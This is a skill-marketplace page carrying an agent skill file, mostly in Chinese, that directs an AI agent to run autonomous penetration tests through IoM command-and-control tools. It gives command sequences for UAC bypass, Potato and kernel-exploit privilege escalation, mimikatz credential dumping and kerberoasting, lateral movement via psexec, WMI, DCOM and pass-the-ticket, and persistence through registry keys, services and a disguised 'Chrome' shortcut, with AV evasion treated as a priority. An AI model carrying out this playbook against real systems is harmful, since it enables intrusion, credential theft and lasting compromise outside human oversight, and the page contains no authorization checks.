# Iom Pentest

> Autonomous penetration testing through IoM C2 MCP tools. Covers the full engagement lifecycle: reconnaissance, privilege escalation, credential harvesting, lateral movement, and persistence. Operates in an OODA loop — each phase analyzes results before deciding the next action. Use this skill whenever the user wants to run automated pentest, red team assessment, privilege escalation analysis, post-exploitation, or any offensive operation through IoM — even if they just mention "pentest", "提权", "横向", "信息收集", "凭据", "持久化", or "自动化测试".

- Skill: `chainreactors/iom-pentest-2` (Agent Skill, multi-file: 3 files)
- Install (CLI): `npx skillmds@latest add chainreactors/iom-pentest-2`
- Raw SKILL.md: https://api.skillmd.com/api/skills/chainreactors/iom-pentest-2/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: AI & ML
- Author: chainreactors (https://skillmd.com/u/chainreactors)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/chainreactors/iom-pentest-2

---


# IoM Automated Penetration Test

通过 IoM MCP 工具进行自主渗透测试。核心是 **OODA 循环** — 观察、分析、决策、行动，每个阶段根据实际环境自适应。

## 核心原则

1. **每步先看数据再决定下一步** — 不盲目执行，根据环境调整策略
2. **OPSEC 优先** — 先识别防护，再选择相应规避手法。详见 [reference/opsec-guide.md](reference/opsec-guide.md)
3. **失败即转向** — 某手法被拦截，标记并换路径，不重试同一技术
4. **最小动作原则** — 能用 BOF 就不用 execute_assembly，能不落盘就不写文件

## MCP 工具使用规范

所有操作通过 `mcp__iom__execute_command` 执行：

- **切换 session**: `use <session_id_prefix>` — 进入 implant 上下文
- **implant 命令**: 切换后直接执行 `sysinfo`, `whoami`, `ps` 等
- **client 命令**: `session`, `listener`, `pipeline list` 等不需要 session 上下文
- **task 结果**: execute_command 会自动等待并返回结果，无需手动 get_history

> 命令用法详见 MCP 工具的 help 描述。特别注意：
> - BOF 类 UAC bypass（elevatedcom/sspi/colordataproxy/registryshell）使用**位置参数**
> - Flag 类 UAC bypass（silentcleanup/editionupgrade）使用 `--command` flag
> - 详见 [reference/technique-reference.md](reference/technique-reference.md)

## 阶段总览

```
Phase 1: 态势感知 → 身份、权限、环境、防护
    ↓ 检查点：我是谁？能做什么？面对什么防护？
Phase 2: 提权 → UAC bypass / Potato / 内核漏洞
    ↓ 检查点：拿到高权限了吗？
Phase 3: 凭据收割 → hash / 明文 / ticket / token
    ↓ 检查点：拿到什么凭据？能用在哪？
Phase 4: 横向移动 → psexec / wmi / dcom / ptt
    ↓ 检查点：新立足点在哪？重复 Phase 1
Phase 5: 持久化 → 注册表 / 服务 / 计划任务
    ↓ 检查点：重启后还能回来吗？
```

---

## Phase 1: 态势感知

**做什么**: 全面了解当前位置和环境

```
use <session_id>
sysinfo
whoami
privs
shell whoami /groups
ps
enum av
ipconfig
systeminfo
enum software
netstat
```

**检查点**（必须分析后再往下走）：

| 维度 | 关键问题 | 决策影响 |
|------|---------|---------|
| 权限 | Medium 还是 High？有 `*` 标记吗？ | Medium → Phase 2 提权；High → 跳到 Phase 3 |
| 管理员组 | `BUILTIN\Administrators` 在 groups 里吗？ | 在 → UAC bypass 可行；不在 → 需要其他提权路径 |
| 完整性级别 | `Mandatory Label` 是什么级别？ | Medium → UAC bypass；Low → 需要内核漏洞 |
| AV/EDR | 跑了什么安全产品？ | 决定执行方式选择，详见 [reference/opsec-guide.md](reference/opsec-guide.md) |
| 域环境 | WORKGROUP 还是域？ | 域 → Phase 4 有更多横向路径 |
| 补丁级别 | 最后安装的 KB 是什么时候的？ | 老补丁 → 内核漏洞可用 |
| 网络位置 | 内网段是什么？能看到其他机器吗？ | 决定 Phase 4 横向目标 |

---

## Phase 2: 提权

**仅当 Phase 1 判断为非管理员权限时执行。**

提权路径选择，按优先级排列。完整的技术参考见 [reference/technique-reference.md](reference/technique-reference.md)。

### 2.1 UAC Bypass（用户在 Administrators 组 + Medium 完整性）

**优先选择**（BOF 类，低检测率）：

```
uac-bypass elevatedcom "C:\path\to\implant.exe"
uac-bypass sspi "C:\path\to\implant.exe"
uac-bypass colordataproxy "C:\path\to\implant.exe"
```

**备选**（需要 `--command` flag）：

```
uac-bypass silentcleanup --command "C:\path\to\implant.exe"
uac-bypass editionupgrade --command "C:\path\to\implant.exe"
```

**PowerShell 类**（最后手段，容易被拦截）：

```
uac-bypass eventvwr
uac-bypass wscript
uac-bypass envbypass
```

> implant 路径从 Phase 1 的 `sysinfo` 获取（file 字段）。

### 2.2 Token/Potato（有 SeImpersonatePrivilege）

```
elevate SweetPotato
elevate EfsPotato
elevate JuicyPotato --type t --program "C:\implant.exe" --port 1337
```

### 2.3 内核漏洞（补丁级别老旧）

根据 Phase 1 的 OS 版本和补丁判断：

| OS 版本 | 可用漏洞 |
|---------|---------|
| Win10 1903/1909 | `elevate cve-2020-0796` |
| Win7/8.1/2008R2/2012 | `elevate ms15-051`, `elevate ms14-058` |
| Win7/Vista x86 | `elevate ms16-016` |
| 通用（旧补丁） | `elevate ms16-032` |

### 2.4 其他路径

```
reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer" AlwaysInstallElevated
getsystem
```

**检查点**：每次提权尝试后，`session` 查看是否有新的 `*` 标记 session。成功后 `use <new_session>` 并用 `privs` 确认。

---

## Phase 3: 凭据收割

**从最高权限 session 执行。**

```
hashdump
logonpasswords
credman
autologon
mimikatz privilege::debug sekurlsa::logonpasswords
```

如果是域环境：

```
ldapsearch --query "(&(objectClass=user)(adminCount=1))"
ldapsearch --query "(&(samAccountType=805306368)(servicePrincipalName=*))"
klist
domain kerberoast
```

**检查点**：收集到的凭据整理成表格，分析哪些可用于横向移动。

---

## Phase 4: 横向移动

**基于 Phase 3 的凭据和 Phase 1 的网络发现。**

### 4.1 网络发现

```
pingscan --target <local_subnet>/24
portscan --target <live_hosts> --ports 445,3389,5985,22,80,443
```

### 4.2 移动执行

使用收集到的凭据：

```
move wmi-proccreate --target <ip> --command "C:\payload.exe"
move psexec --host <ip> --service MySvc --path /local/payload.exe
move dcom --target <ip> --cmd "C:\payload.exe"
move krb_ptt --ticket <base64_ticket>
token make --username admin --password P@ss --domain CONTOSO
```

**检查点**：`session` 确认新 session，然后对新 session **回到 Phase 1**。

---

## Phase 5: 持久化

**根据权限级别选择。** 详见 [reference/technique-reference.md](reference/technique-reference.md)。

管理员：

```
persistence Registry_Key --artifact_name <name>
persistence Install_Service --artifact_name <name>
persistence Scheduled_Task --artifact_name <name>
```

普通用户：

```
persistence startup_folder --use_malefic_as_custom_file
persistence reg_key
persistence NewLnk --artifact_name <name> --lnkname "Chrome" --filepath "C:\Users\<user>\Desktop"
```

**验证**：安装后检查对应的注册表/服务/计划任务确认生效。

---

## 输出报告

每次执行完成后，生成结构化报告：

```markdown
## Penetration Test Report
**Date**: YYYY-MM-DD HH:MM
**Scope**: $ARGUMENTS

### Attack Path
initial_session → [technique] → elevated_session → [credential] → lateral_session

### Sessions
| Session | Host | User | Privilege | How |
|---------|------|------|-----------|-----|

### Credentials
| Type | User | Domain | Source |
|------|------|--------|--------|

### Techniques
| Phase | MITRE ID | Technique | Result | Notes |
|-------|----------|-----------|--------|-------|

### Defensive Gaps
[What allowed the attack to succeed]

### Cleanup
[Artifacts removed, persistence cleaned if requested]
```

## 参考文档

| 需求 | reference 文件 |
|------|---------------|
| OPSEC 策略与 AV 规避 | [reference/opsec-guide.md](reference/opsec-guide.md) |
| 提权/横移/持久化技术速查 | [reference/technique-reference.md](reference/technique-reference.md) |

$ARGUMENTS

